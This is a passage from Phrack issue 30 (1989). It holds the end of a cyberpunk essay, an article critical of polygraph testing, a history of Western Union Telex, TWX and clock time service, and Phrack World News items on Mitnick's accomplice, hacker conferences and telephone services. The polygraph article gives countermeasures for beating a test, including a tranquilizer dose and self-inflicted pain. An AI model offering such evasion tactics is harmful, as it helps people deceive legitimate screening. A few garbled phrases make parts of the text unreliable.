"Neuromancer" is the first book in a trilogy. In the second volume, "Count Zero" ‑‑ so‑called after the code name of a character ‑‑ the cyberspace matrix becomes sentient. Typical of Gibson's literary elegance, this becomes apparent through an artist's version of the Turing test. Instead of holding an intelligent conversation with a human, a node of the matrix on an abandoned orbital factory begins making achingly beautiful and mysterious boxes ‑‑ a 21st Century version of the work of the late artist, Joseph Cornell. These works of art begin appearing in the terrestrial marketplace, and a young woman art dealer is hired by an unknown patron to track down the source. Her search intertwines with the fates of other characters, building to a conclusion equal to the vividness and suspense of "Neuromancer." The third book, "Mona Lisa Overdrive" answers many of the questions left hanging in the first book and further completes the details of the world created by Gibson including an adoption by the network of the personae of the pantheon of voodoo gods and goddesses, worshipped by 21st Century Rastafarian hackers.

Hard core science fiction fans are notorious for identifying with the worlds portrayed in their favorite books. Visit any science fiction convention and you can encounter amidst the majority of quite normal participants, small minority of individuals who seem just a bit, well, strange. The stereotypes of individuals living out science fiction fantasies in introverted solitude has more than a slight basis in fact. Closet Dr. Whos or Warrior Monks from "Star Wars" are not uncommon in Silicon Valley; I was once startled to discover over lunch that a programmer holding a significant position in a prominent company considered herself to be a wizardess in the literal sense of the term.

Identification with cyberpunk at this sort of level seems to be becoming more and more common. Warrior Monks may have trouble conjuring up Imperial Stormtroopers to do battle with, but aspiring deck jockeys can log into a variety of computer systems as invited or (if they are good enough) uninvited guests. One individual I spoke with explained that viruses held a special appeal to him because it offered a means of "leaving an active alter ego presence on the system even when I wasn't logged in." In short, it was the first step toward experiencing cyberspace.

Gibson apparently is leaving cyberpunk behind, but the number of books in the genre continues to grow. Not mentioned here are a number of other authors such as Rudy Rucker (considered by many to be the father of cyberpunk) and Walter John Williams who offer similar visions of a future networked world inhabited by human/computer symbionts. In addition, at least one magazine, "Reality Hackers" (formerly "High Frontiers Magazine" of drug fame) is exploring the same general territory with a Chinese menu offering of tongue‑in‑cheek paranoia, ambient music reviews, cyberdelia (contributor Timothy Leary's term) and new age philosophy.

The growing body of material is by no means inspiration for every aspiring digital alchemist. I am particularly struck by the "generation gap" in the computer community when it comes to "Neuromancer": Virtually every teenage hacker I spoke with has the book, but almost none of my friends over 30 have picked it up.

Similarly, not every cyberpunk fan is a potential network criminal; plenty of people read detective thrillers without indulging in the desire to rob banks. But there is little doubt that a small minority of computer artists are finding cyberpunk an important inspiration in their efforts to create an exceedingly strange computer reality. Anyone seeking to understand how that reality is likely to come to pass would do well to pick up a cyberpunk novel or two.

The Truth About Lie Detectors

==Phrack Inc.==

Volume Three, Issue 30, File #9 of 12

__________________

|

| The Truth About Lie Detectors |

|_______

| by Razor's Edge |

|

| November 10, 1989 |

|__________

Americans love gadgets, so it is not hard to explain the popularity of the lie detector. Many people believe in the validity of lie detectors because the instruments and printouts resemble those used by doctors and others who collect scientific data and because lie detectors are simple, convenient shortcuts to hard complicated decisions. Polygraphy is fast becoming an American obsession ‑‑ an obsession, incidentally, not shared by the British or the Europeans or, as far as we know, the Russians.

American industry's increasing dependence on the polygraph reflects an enormous faith in the rational processes of science. Each of us can recall a time when our voices sounded funny as we told a lie. Surely, if we can "hear" a lie, science can detect one. It comes as a disturbing shock, therefore, to learn how fragile the polygraph's scientific foundations really are.

The roots of the lie detector, more formally known as the polygraph, go back to the turn of the century, when infatuation with the newly discovered powers of electricity more than once overcame common sense. But whereas electric hair restorers and high‑voltage cancer cures have all but vanished, the polygraph persists and even flourishes. According to the best estimates, over one million polygraph examinations are administered each year in the united States. They are used in criminal investigations, during government security checks, and increasingly by nervous employers ‑‑ particularly banks and stores. In certain parts of the country, a woman must pass a lie detector test before the authorities will prosecute a rape. In 1983 the television show Lie Detector added the dimension of home entertainment to polygraph tests.

The National Security Agency (NSA) leads the roster of federal polygraph users; both it and the CIA rely heavily on polygraph testing for pre‑employment and routine security screening. The NSA reported giving nearly 10,000 tests in 1982 (CIA numbers are classified). Those who are labeled "deceptive" often lose their jobs, even if there is no actual evidence against them. Moreover, the polygraph report may become a permanent part of an employee's records, and it will be extremely difficult to compel a correction.

With the arrest in June 1985 of four Navy men on espionage charges, the issue of using polygraphs to uncover spies or ferret out dishonest job seekers has come to the forefront of the debate about what should be done to stem the loss of defense and company secrets and to dispel potential thieves in the workplace.

Much the same issue is at the heart of the protracted wrangle between the Reagan Administration and Congress over plans for expanded government use of the polygraph. An executive order issued on March 11, 1983, known as National Security Decision Directive 84, would have sanctioned for the first time "adverse consequences" for a federal employee who refuses to take a test when asked. The directive authorized tests to investigate candidates for certain security clearances and to ask any federal employee about leaks of classified information. (This directive was issued shortly after Reagan's comment about being "up to my keister" in press leads.) Almost simultaneously the Department of Defense (DOD) released a draft regulation that authorized use of the polygraph to screen employees who take on sensitive intelligence assignments; it, too, prescribed adverse consequences for refusal.

Critics of the polygraph maintain that its use represents an invasion of privacy, especially when the coercive power of the government or an employer is behind the application. It is hard for a job applicant to say no when a prospective employer asks him or her to take a polygraph test; once hooked up to the machine, the applicant may face questions not only about past criminal activity but also about matters that an employer may have no business intruding upon, such as sexual practices or gambling ‑‑ questions asked ostensibly to assess the applicant's "character." As a result of such abuses, nineteen states and the District of Columbia have made it illegal for an organization to ask its employees to take polygraph examinations.

A question more basic than whether the polygraph is an unacceptable invasion of privacy is, of course, whether it works. Seeking an answer in the scientific literature can be a bewildering experience. A report by the Office of Technology Assessment (OTA), commissioned in 1983 by Brooks's Committee on Government Operations, summed up the problem by citing twenty‑four studies that found correct detection of guilt ranging from 35% to 100%.

Polygraph theory thrives on a sort of Pinocchio vision of lying, in which physiological reactions ‑‑ changes in blood pressure or rate of breathing or sweating of the palms ‑‑ elicited by a set of questions will reliably betray falsehood. Lying, goes the rationale, is deliberate, and the knowledge and effort associated with it will make a person upset enough to display a physical reaction like a speedup of the heartbeat. The variables measured usually include the galvanic skin response (GSR), blood pressure, abdominal respiration, and thoracic respiration. The GSR is measured by fingertip electrodes that produce changes in the electrical resistance in the palms when they are sweating. The blood pressure and pulse are monitored through a system that uses a sphygmomanometer cuff, which is usually attached to the biceps (this is similar to the way doctors measure blood pressure). There is no "specific lie response." The polygraph merely records general emotional arousal. It does not distinguish anxiety or indignation from guilt. The real "lie detector" is the operator, who interprets the various body responses on the machine's output.

Polygraphers claim that it is the form and mix of questions that are the keys to their success. The standard format, known as the Control Question Test, involves interspersing "relevant" questions with "control" questions. Relevant questions relate directly to the critical matter: "Did you participate in the robbery of the First National Bank on September 11, 1981?" Control questions, on the other hand, are less precise: "In the last twenty years, have you ever taken something that did not belong to you?"

In the pretest interview, the polygrapher reviews all the questions and frames the control questions to produce "no" answers. It is in this crucial pretest phase that the polygrapher's deception comes into play, for he wants the innocent subject to dissemble while answering the control questions during the actual test.

The assumption underlying the Control Question Test is that the truthful subject will display a stronger physiological reaction to the control questions, whereas a deceptive subject will react more strongly to the relevant questions. That is the heart of it. Modern lie detection relies on nothing more than subtle psychological techniques, crude physiological indicators, and skilled questioning and interpretation of the results.

Critics claim that polygraphy fails to take the complexities of lying into account. For some people lying can be satisfying, fulfilling, exciting, and even humorous, depending on their reasons for lying. Other people feel little or no emotion when lying. Still others believe their lies and think they are telling the truth when they are not. Moreover, the theory holds that deception produces distinctive physiological changes that characterize lying and only lying. This notion has no empirical support. Quite the contrary: Lying produces no known distinctive pattern of physiological activity.

Undeniably, when being dishonest, people can feel great turmoil and a polygraph can measure this turmoil. But when apprehensive about being interrogated, they can give a similar emotional reaction: When they think they are losing the chance for job openings or their jobs are on the line, when they reflect on the judgements that could be made about their answers, or, for that matter, when they are angry, puzzled, or even amused by the impertinent probing of a total stranger. Some control questions may make a person appear guilty. Such questions may force a subject into a minor lie or ask about an invented crime that nonetheless makes the subject nervous.

Lie detectors are especially unreliable for truthful people. Many more innocent people test as "deceptive" than guilty people test as "innocent." Those who run a special risk include people who get upset if someone accuses them of something they didn't do, people with short tempers, people who tend to feel guilty anyway, and people not accustomed to having their word questioned. All of these feelings can change heart rate, breathing, and perspiration and their heightened feelings are easily confused with guilt.

It has also been shown that polygraphs are easily manipulated. Four hundred milligrams of the tranquilizer meprobamate taken an hour or two before a polygraph session can make it virtually impossible to spot a liar by his physiological responses. In fact, some researchers even argue that an examinee can use simple countermeasures, such as biting one's tongue, gouging oneself with a fingernail, or stepping on a nail concealed in a shoe, to fake a strong reaction to the control questions, thus "beating" the test. According to one researcher, one prison inmate, who became the jail‑house polygraph expert after studying the literature, trained twenty‑seven fellow inmates in the seat techniques; twenty‑three beat the polygraph tests used tons investigate violations of prison rules. However, do not try sighing, coughing, or clenching your fist or arm. Polygraphers usually are suspicious of those techniques and may label you "deceptive" for that reason alone.

It should be obvious that the interpretation of the results of any polygraph test will certainly be very difficult. Also, not all responses on the machine will agree. What are the present qualifications for a polygrapher? Most of the twenty‑five or more schools that train examiners provide only an eight‑week course of instruction and require two years of college for admission. This is about one‑sixth the study time of the average barber college. Perhaps as many as a dozendy time of contemporary polygraphers do hold Ph.D's, but the vast majority of the 4,000 to 8,000 practicing examiners had no simple significant training in physiology or in psychology, even though lie detection demands extremely subtle and difficult psychophysiological interpretations. There are no licensing standards for polygraph operators, and, with so many poorly, who trained operators, thousands of tests are conducted hastily and haphazardly, resulting in highly questionable accuracy. For many innocent people, their judge and jury are these unskilled operators.

Honesty is also difficult to predict because it tends to be situationspecific. Therefore, it is more dependent on motivation and opportunity than on some personality trait. As Bertrand Russell once said, "Virtue is dictated by results of circumstance."

Proponents of the polygraph sometimes cite "correct guilty detections": The percentage of guilty subjects who are caught by the polygraph. This figure can be very impressive: In one study that does not suffer from the failings already mentioned, it was 98% correct. But the same study found that 55% of innocent subjects were also diagnosed as "deceptive." The handful of studies that used a truly random selection of cases and scored them blind produced similar results: Overall, 83% of guilty subjects were diagnosed as "deceptive," as were 43% of innocent subjects. It's no trick to push the rate of correct guilty detections to 100% ‑‑ just call everyone "deceptive." You don't even need a machine to do that!

Nature published its conclusions last year. Their aggregated findings were based on the polygraph charts of 207 criminal suspects, which 14 polygraphers scored independently. On the average, they erroneously diagnosed 43% of innocent suspects as deceptive. Such errors, called false positives, ranged as high as 50%. The corresponding errors of deceptive persons "passing the test," or false negatives, were as high as 36%.

The accuracy rates of "failed" and "passed" depend, of course, on the proportion of dishonest persons in the group tested. Thus, if 800 of 1,000 persons tested are truthful, a test that is 72% accurate overall will accuse 144 liars and 224 truthful persons. This is not an impressive accuracy record.

These numbers suggest that the polygraph test is biased against innocent people. The problem is accentuated when the test is used in the screening situations envisioned in the Reagan Administration proposals (and already established at the NSA and the CIA). Everyone is tested, but presumably only a very small proportion has done anything wrong. If we assume that one employee in a hundred is a spy (probably a gross overestimate), and if we use the 83% correct‑guilty‑detection rate, we find that 51 innocent persons will flunk the polygraph test for every real spy who flunks. Any test, whether it is for truth or for cancer, has to be extremely accurate to detect a rare phenomenon without setting off a lot of false alarms in the process. Even if the test were 99% accurate for both guilty and innocent detections, one innocent person would be falsely branded for each spy caught. Because of this "case rate" problem, the FBI forbids the use of polygraph dragnets: The tests can be used only after an initial investigation has narrowed the field of suspects.

Given all the doubts about their validity, why does the government persist in using polygraph tests? Some clues are found in the DOD 1983 report on polygraph testing ‑‑ even in its title, "The Accuracy and Utility of Polygraph Testing" which suggests that accuracy and utility are two different things. The most that report concludes about accuracy is that it is "significantly above chance." Utility, however, is quite another matter. Perhaps the most telling statement about lie detectors comes from former president Nixon, who declared on one of the White House tapes, "I don't know anything about lie detectors other than they scare the hell out of people."

Western Union Telex, TWX, and Time Service

==Phrack Inc==

Volume Three, Issue 30, File #10 of 12

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

===

=== Western Union ===

=== Telex, TWX, and Time Service ===

===

=== by Phone Phanatic ===

===

=== September 17, 1989 ===

===

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

"Until a few years ago ‑‑ maybe ten ‑‑ it was very common to see TWX and Telex machines in almost every business place."

There were only minor differences between Telex and TWX. The biggest difference was that the former was always run by Western Union, while the latter was run by the Bell System for a number of years. TWX literally meant "(T)ype(W)riter e(x)change," and it was Bell's answer to competition from Western Union. There were "three row" and "four row" machines, meaning the number of keys on the keyboard and how they were laid out. The "three row" machines were simply part of the regular phone network; that is, they could dial out and talk to another TWX also connected on regular phone lines.

Eventually these were phased out in favor of "newer and more improved" machines with additional keys, as well as a paper tape reader attachment which allowed sending the same message repeatedly to many different machines. These "four row" machines were not on the regular phone network, but were assigned their own area codes (410‑510‑610‑710‑810‑910) where they still remain today. The only way a four row machine could call a three row machine or vice‑versa was through a gateway of sorts which translated some of the character set unique to each machine.

Western Union's network was called Telex and in addition to being able to contact (by dial up) other similar machines, Telex could connect with TWX (and vice‑versa) as well as all the Western Union public offices around the country. Until the late 1950's or early 1960's, every small town in America had a Western Union office. Big cities like Chicago had perhaps a dozen of them, and they used messengers to hand deliver telegrams around town. Telegrams could be placed in person at any public office, or could be called in to the nearest public office.

By arrangement with most telcos, the Western Union office in town nearly always had the phone number 4321, later supplemented in automated exchanges with some prefix XXX‑4321. Telegrams could be charged to your home phone bill (this is still the case in some communities) and from a coin phone, one did not ask for 4321, but rather, called the operator and asked for Western Union. This was necessary since once the telegram had been given verbally to the wire clerk, s/he in turn had to flash the hook and get your operator back on the line to tell them "collect five dollars and twenty cents" or whatever the cost was. Telegrams, like phone calls, could be sent collect or billed third party. If you had an account with Western Union, i.e. a Telex machine in your office, you could charge the calls there, but most likely you would simply send the telegram from there in the first place.

Sometime in the early 1960's, Western Union filed suit against AT&T asking that they turn over their TWX business to them. They cited an earlier court ruling, circa 1950's, which said AT&T was prohibited from acquiring any more telephone operating companies except under certain conditions. The Supreme Court agreed with Western Union that "spoken messages" were the domain of Ma Bell, but "written messages" were the domain of Western Union. So Bell was required to divest itself of the TWX network, and Western Union has operated it since, although a few years ago they began phasing out the phrase "TWX" in favor of "Telex II"; their original device being "Telex I" of course. TWX still uses ten digit dialing with 610 (Canada) or 710/910 (USA) being the leading three digits. Apparently 410‑510 have been abandoned; or at least they are used very little, and Bellcore has assigned 510 to the San Francisco area starting in a year or so. 410 still has some funny things on it, like the Western Union "Infomaster," which is a computer that functions like a gateway between Telex, TWX, EasyLink and some other stuff.

Today, the Western Union network is but a skeleton of its former self. Now most of their messages are handled on dial up terminals connected to the public phone network. It has been estimated the TWX/Telex business is about fifty percent of what it was a decade ago, if that much.

Then there was the Time Service, a neat thing which Western Union offered for over seventy years, until it was discontinued in the middle 1960's. The Time Service provided an important function in the days before alternating current was commonly available. For example, Chicago didn't have AC electricity until about 1945. Prior to that we used DC, or direct current.

Well, to run an electric clock, you need 60 cycles AC current for obvious reasons, so prior to the conversion from DC power to AC power, electric wall clocks such as you see in every office were unheard of. How were people to tell the time of day accurately? Enter the Western Union clock.

The Western Union, or "telegraph clock" was a spring driven wind up clock, but with a difference. The clocks were "perpetually self‑winding," manufactured by the Self‑Winding Clock Company of New York City. They had large batteries inside them, known as "telephone cells" which had a life of about ten years each. A mechanical contrivance in the clock would rotate as the clock spring unwound, and once each hour would cause two metal clips to contact for about ten seconds, which would pass juice to the little motor in the clock which in turn re‑wound the main spring. The principle was the same as the battery operated clocks we see today. The battery does not actually run the clock ‑direct current can't do that ‑‑ but it does power the tiny motor which re‑winds the spring which actually drives the clock.

The Western Union clocks came in various sizes and shapes, ranging from the smallest dials which were nine inches in diameter to the largest which were about eighteen inches in diameter. Some had sweep second hands; others did not. Some had a little red light bulb on the front which would flash. The typical model was about sixteen inches, and was found in offices, schools, transportation depots, radio station offices, and of course in the telegraph office itself.

The one thing all the clocks had in common was their brown metal case and cream‑colored face, with the insignia "Western Union" and their corporate logo in those days which was a bolt of electricity, sort of like a letter "Z" laying on its side. And in somewhat smaller print below, the words "Naval Observatory Time."

The local clocks in an office or school or wherever were calibrated by a "master clock" (actually a sub‑master) on the premises. Once an hour on the hour, the (sub) master clock would drop a metal contact for just a half second, and send about nine volts DC up the line to all the local clocks. They in turn had a "tolerance" of about two minutes on both sides of the hour so that the current coming to them would yank the minute hand exactly upright onto the twelve from either direction if the clock was fast or slow.

The sub‑master clocks in each building were in turn serviced by the master clock in town; usually this was the one in the telegraph office. Every hour on the half hour, the master clock in the telegraph office would throw current to the sub‑masters, yanking them into synch as required. And as for the telegraph offices themselves, they were serviced twice a day by ‑‑ you guessed it ‑‑ the Naval Observatory Master clock in Our Nation's Capitol, by the same routine. Someone there would press half a dozen buttons at the same time, using all available fingers; current would flow to every telegraph office and synch all the master clocks in every community. Western Union charged fifty cents per month for the service, and tossed the clock in for free! Oh yes, there was an installation charge of about two dollars when you first had service (i.e. a clock) installed.

The clocks were installed and maintained by the "clockman," a technician from Western Union who spent his day going around hanging new clocks, taking them out of service, changing batteries every few years for each clock, etc.

What a panic it was for them when "war time" (what we now call Daylight Savings Time) came around each year! Wally, the guy who serviced all the clocks in downtown Chicago had to start on *Thursday* before the Sunday official changeover just to finish them all by *Tuesday* following. He would literally rush in an office, use his screwdriver to open the case, twirl the hour hand around one hour forward in the spring, (or eleven hours *forward* in the fall since the hands could not be moved backward beyond the twelve going counterclockwise), slam the case back on, screw it in, and move down the hall to the next clock and repeat the process. He could finish several dozen clocks per day, and usually the office assigned him a helper twice a year for these events.

He said they never bothered to line the minute hand up just right, because it would have taken too long, and ".....anyway, as long as we got it within a minute or so, it would synch itself the next time the master clock sent a signal..." Working fast, it took a minute to a minute and a half to open the case, twirl the minute hand, put the case back on, "stop and b.s. with the receptionist for a couple seconds" and move along.

The master clock sent its signal over regular telco phone lines. Usually it would terminate in the main office of whatever place it was, and the (sub) master there would take over at that point.

Wally said it was very important to do a professional job of hanging the clock to begin with. It had to be level, and the pendulum had to be just right, otherwise the clock would gain or lose more time than could be accommodated in the hourly synching process. He said it was a very rare clock that actually was out by even a minute once an hour, let alone the two minutes of tolerance built into the gear works.

"...Sometimes I would come to work on Monday morning, and find out in the office that the clock line had gone open Friday evening. So nobody all weekend got a signal. Usually I would go down a manhole and find it open someplace where one of the Bell guys messed it up, or took it off and never put it back on. To find out where it was open, someone in the office would 'ring out' the line; I'd go around downtown following the loop as we had it laid out, and keep listening on my headset for it. When I found the break or the open, I would tie it down again and the office would release the line; but then I had to go to all the clocks *before* that point and restart them, since the constant current from the office during the search had usually caused them to stop."

But he said, time and again, the clocks were usually so well mounted and hung that "...it was rare we would find one so far out of synch that we had to adjust it manually. Usually the first signal to make it through once I repaired the circuit would yank everyone in town to make up for whatever they lost or gained over the weekend..."

In 1965, Western Union decided to discontinue the Time Service. In a nostalgic letter to subscribers, they announced their decision to suspend operations at the end of the current month, but said "for old time's sake" anyone who had a clock was welcome to keep it and continue using it; there just would not be any setting signals from the master clocks any longer.

Within a day or two of the official announcement, every Western Union clock in the Chicago area headquarters building was gone. The executives snatched them off the wall, and took them home for the day when they would have historical value. All the clocks in the telegraph offices disappeared about the same time, to be replaced with standard office‑style electric wall clocks.

Phrack World News XXX Part 1

==Phrack Inc.==

Volume Three, Issue 30, File #11 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXX/Part 1 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN Special Thanks to Dark OverLord PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Happy Holidays and Welcome to Issue XXX of Phrack World News!

This issue of Phrack World News contains stories and articles detailing events and other information concerning Acid Phreak, AT&T, Apple Computer Co., Bellcore, Bernie S., Klaus Brunnstein, Cap'n Crunch, Captain Crook, Chaos Communications Congress, Cheshire Catalyst, Clifford Stoll, CompuServe, Leonard Mitchell DiCicco, Emmanuel Goldstein, FCC, Katie Hafner, Harpers Magazine, Intellical, Michael Synergy, Kevin David Mitnick, Phiber Optik, Phonavision, Phrozen Ghost, Prime Suspect, Sir Francis Drake, Susan Thunder, Telenet, Terra, Tuc, Tymnet, The Well, and...

Announcing the Fourth Annual...

SummerCon '90

June 22‑24, 1990

Saint Louis, Missouri

This year's convention looks to be the more incredible than ever. Many of you will be hearing from us directly over the next few months about what will be taking place and where SummerCon '90 will be held specifically. The posted date is of course a tentative one (as we are still six months away), but any and all changes or new information will be in PWN and passed to our network friends.

If you are thinking about attending SummerCon '90, please find a way to contact us as soon as possible. If you are not on the Internet or one of the public access Unix systems across the country, then post a message on bulletin boards that asks who is in contact with us. Chances are that there will be someone on there that can reach us.

Knight Lightning / Forest Ranger / Taran King

"A New Decade Is Upon Us... And The Future Never Looked Brighter!"

________________________________________

Mitnick's Partner Gets Community Service November 29, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Kathy McDonald (New York Times)

"Man Sentenced To Community Service For Helping Steal Computer Program"

LOS ANGELES ‑‑ A federal judge has sentenced a 24‑year‑old suburban Calabasas man to community service at a homeless shelter for his role in helping computer hacker Kevin Mitnick steal a computer security program.

In rejecting a sentencing report that suggested a prison term, U.S. District Judge Mariana Pfaelzer noted that Leonard Mitchell DiCicco had voluntarily notified authorities of the computer hacking.

"I think you can do some good" in the community by using his computer skills productively, Pfaelzer told DiCicco.

She sentenced DiCicco to five years of probation, during which he must complete 750 hours of community service through the Foundation for People, a Los Angeles group that matches probationers with community service projects.

DiCicco was assigned to develop a computer system for the Anaheim Interfaith Shelter, said Frances Dohn, a foundation official.

DiCicco also was ordered to pay $12,000 in restitution to Digital Equipment Corporation of Massachusetts, from which Mitnick stole a computer security program.

Assistant U.S. Attorney James Asperger agreed with the community service sentence, saying DiCicco's cooperation had been crucial in the case against Mitnick.

DiCicco reported Mitnick to DEC officers. Mitnick later admitted he stole the program and electronically brought it to California.

DiCicco pleaded guilty in July to one count of aiding and abetting the interstate transportation of stolen property. He admitted that in 1987 he let Mitnick, age 25, of suburban Panorama City, use his office computer at Voluntary Plan Administrators in Calabasas to break into the DEC system.

Mitnick pleaded guilty and was sentenced in July to one year in prison and six months in a community treatment program aimed at breaking his "addiction" to computer hacking.

Under a plea bargain agreement with the government, DiCicco pleaded guilty in July in exchange for a promise that he would not be prosecuted for any of the other instances of computer hacking he and Mitnick carried out.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

If you are looking for other articles related to Leonard Mitchell DiCicco and the famous Kevin David Mitnick please refer to;

"Pacific Bell Means Business" (10/06/88) PWN XXI....Part 1 "Dangerous Hacker Is Captured" (No Date ) PWN XXII...Part 1 "Ex‑Computer Whiz Kid Held On New Fraud Counts" (12/16/88) PWN XXII...Part 1 "Dangerous Keyboard Artist" (12/20/88) PWN XXII...Part 1 "Armed With A Keyboard And Considered Dangerous" (12/28/88) PWN XXIII..Part 1 "Dark Side Hacker Seen As Electronic Terrorist" (01/08/89) PWN XXIII..Part 1

"Mitnick Plea Bargains" (03/16/89) PWN XXV....Part 1

"Mitnick Plea Bargain Rejected As Too Lenient" (04/25/89) PWN XXVII..Part 1 "Computer Hacker Working On Another Plea Bargain" (05/06/89) PWN XXVII..Part 1

"Mitnick Update" (05/10/89) PWN XXVII..Part 1

"Kenneth Siani Speaks Out About Kevin Mitnick" (05/23/89) PWN XXVII..Part 1 "Judge Suggests Computer Hacker Undergo Counseling"(07/17/89) PWN XXVIII.Part 1 "Authorities Backed Away From Original Allegations"(07/23/89) PWN XXVIII.Part 1 "Judge Proposes Comm. Service For Hacker's Accomp."(10/13/89) PWN XXX....Part 1

________________________________________

Chaos Communications Congress

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Terra of the Chaos Computer Club

On December 27‑29, 1989 is the Chaos Communication Congress at Eidelstaedter Buergerhaus, Hamburg, West Germany.

The topics of this Congress include:

‑ The new German PTT law

‑ Discussion about Copyright and Freedom of Information act

‑ Women and Computers

‑ Mailbox and other Networks (Zerberus, InterEuNet, UUCP)

‑ Workshops for East and West German people to build networks between the two countries.

‑ Discussion between Professor Klaus Brunnstein and CCC members about the problems of viruses and worms.

‑ Workshops about Unix and UUCP for beginners, advanced, and special people

‑ Presswork in a special room

‑ Workshop Cyberbrain or Cyberpunk

‑ Workshop and Discussion about Secure Networks (Special: TeleTrust, coding mixed gateways)

The prices to enter the Congress are

33 DM for Normal people

23 DM for CCC‑members

53 DM for Press

Regards,

Terra

________________________________________

Phonavision At The University of California October 15, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken From the New York Times

CALIFORNIA ‑‑ Students at two campuses of the University of California, at Berkeley and Los Angeles, have become the test market for a new public video‑telephone booth called Phonavision.

Its developers claim that it is the world's first video telephone for the general public.

Each of the campuses has one of the large, silver‑color phone booths in its student union. Phonavision opened on October 9, for a week of free demonstrations. Starting October 16, video phone calls from one campus to the other will cost $10 for three minutes.

"We view all this semester as a test," said Stephen Strickland, chief executive officer of the Los Angeles‑based company, Communications Technologies, that developed the video phones. "We want to be sure that when we do go to market with this service, it's as good as it can be."

"We feel we're probably six months to a year away from having a system that we can go out and market," Strickland said. "I see them in airport lobbies, hotel lobbies, shopping centers, indoor high‑traffic locations." Video telephones are already widely used in business, he added.

Phonavision callers speak to each other on standard telephone receivers.

A snapshot‑size image of their own face is projected on one half of a small screen, and the other half shows a picture of the person to whom they are talking.

As a caller talks, the video screen shows small movements of the mouth or face. But sudden movements mean a distorted picture.

With a tilt of a caller's head, for example, the image will move to the side in separate parts, starting with the top of the head and moving down in a wavelike motion.

Annalee Andres, a sophomore from Santa Ana, California, who has not yet selected a major, was one of the first students to try out Berkeley's new video phone. She and her friends crowded around the phone booth in the Martin Luther King Jr. Student Center, taking turns talking to a student from UCLA.

"I think it has a long way to go yet, but it's really cool," she said. "I can really see where it's leading."

Ms. Andres speculated on the effects that widespread use of video phones would have. "What if they catch you and you're just out of the shower?" she asked. "It'll change dating."

Daniel Ciruli, a junior from Tucson, Arizona, majoring in computer science, was enthusiastic about his trial session, but he said the fee would keep him away in the future.

"It's a new toy," he said. "But at $10 for three minutes, with only one other Phonavision, it's not going to be something that students are beating down the door to use."

The video phone booth offers other services: Recording and dealing in videotapes and a place to send and receive fax messages. The booth accepts $1, $5, $10 and $20 bills, as well as Mastercard and Visa.

Gary Li, a senior from Beijing, who is majoring in electrical engineering, started setting up Berkeley's phone booth in April. Since then he has spent about 20 hours a week repairing kinks in the system.

Berkeley and UCLA were chosen as tryout spots for the new service because most students know somebody at the other campus, said Strickland, the company's chief executive.

"That's a place where we can get novelty use," he said, adding that "Berkeley and UCLA have a reputation for being front‑runner schools ‑‑ places that are innovative, that like new technology."

Strickland said his company has spent almost three years developing Phonavision. He would not disclose total costs, but priced the video phone booths at $50,000 each.

________________________________________

The Omnipresent Telephone October 10, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from The New York Times

Whatever the psychological implications, new technology has clearly made the phone more omnipresent. More calls are generated because of answering machines, now owned by 28 percent of the nation's households, according to the Electronic Industries Association. People who use them say they make and receive more calls because of them.

"In olden days you would just miss the call," said Michael Beglin, a businessman in Nashville.

Jill Goodman, an art dealer in New York, says she talks on the phone so often that "I'm tortured about it, teased and insulted." She uses the phone to socialize, shop and check in with people she wants to stay in touch with but does not want to take the time to see.

"I have two lines in the country, two lines at home in the city and three lines in my office, if that gives you any idea of how much phone I can generate," she said.

A month ago, after resisting initially, she decided to have a car phone installed. "I thought it might be nice to have a couple of hours without being reachable," she said. "But I didn't like not being able to reach when I wanted to."

Increasingly, too, people are using the phone to get services, information and products.

The 900 numbers, which require callers to pay the cost, and the 800 numbers, paid for by the calls' recipients, are growing quickly.

Sprint Gateways started a new 900 service in May that already has 250 lines. Callers can get wrestling trivia, financial updates, real‑estate information and a host of other data. They can even play a version of "Family Feud," which receives as many as 7,000 calls a day, said Adrian Toader, the director of sales and marketing.

Telephone shopping through 800 numbers continues to grow, too. In 1986, L.L. Bean, the Freeport, Maine, retailer, received 60 percent of its orders by telephone and 40 percent by mail; by 1988, telephone orders had risen to 70 percent. Like an increasing number of retailers, L.L. Bean allows customers to call in their orders 24 hours a day.

But callers to 800 numbers often want more than a new shirt or sweater.

Susan Dilworth, who takes telephone orders for L.L. Bean, said, "A lot of people call and say: 'I'm coming to New England for the first time. How should I dress?'" Other callers order merchandise but then begin talking about their personal lives. "I think they're lonely," Mrs. Dilworth said.

Indeed, these anonymous but personal contacts are so popular that some people are becoming hooked.

Marilyn Ng‑A‑Qui, the acting executive director of the New York City Self‑Help Clearinghouse, said one man called looking for help because he had run up a $5,000 bill calling 900 numbers. "It is emerging as a problem all over the country," she said.

Despite the deluge of telephone conversation, there are holdouts. Lois Korey, a partner in a New York advertising agency, writes letters whenever she can, often suggesting lunch meetings. "I really like to see who I'm talking to," she said.

But even her partner, Allen Kay, calls her from his office just four feet away. The only time he could not telephone, Mrs. Korey said, was when he was in his car. And now those days are over. "He got a car phone a month ago, and he calls all the time," she said. "When I sit in the front seat of his car, I try to step on it."

________________________________________

Higher Phone Rates For Modem Users November 26, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(Material gathered from an Apple digest on Usenet)

A new regulation that the FCC is quietly working on will directly affect you as the user of a computer and modem. The FCC proposes that users of modems should pay extra charges for use of the public telephone network which carry their data.

In addition, computer network services such as CompuServe, Tymnet, & Telenet would also be charged as much as $6.00 per hour per user for use of the public telephone network. These charges would very likely be passed on to the subscribers.

The money is to be collected and given to the telephone company in an effort to raise funds lost to deregulation.

Jim Eason of KGO newstalk radio (San Francisco, California) commented on the proposal during his afternoon radio program during which, he said he learned of the new legislation in an article in the New York Times. Jim took the time to gather the addresses which are given below.

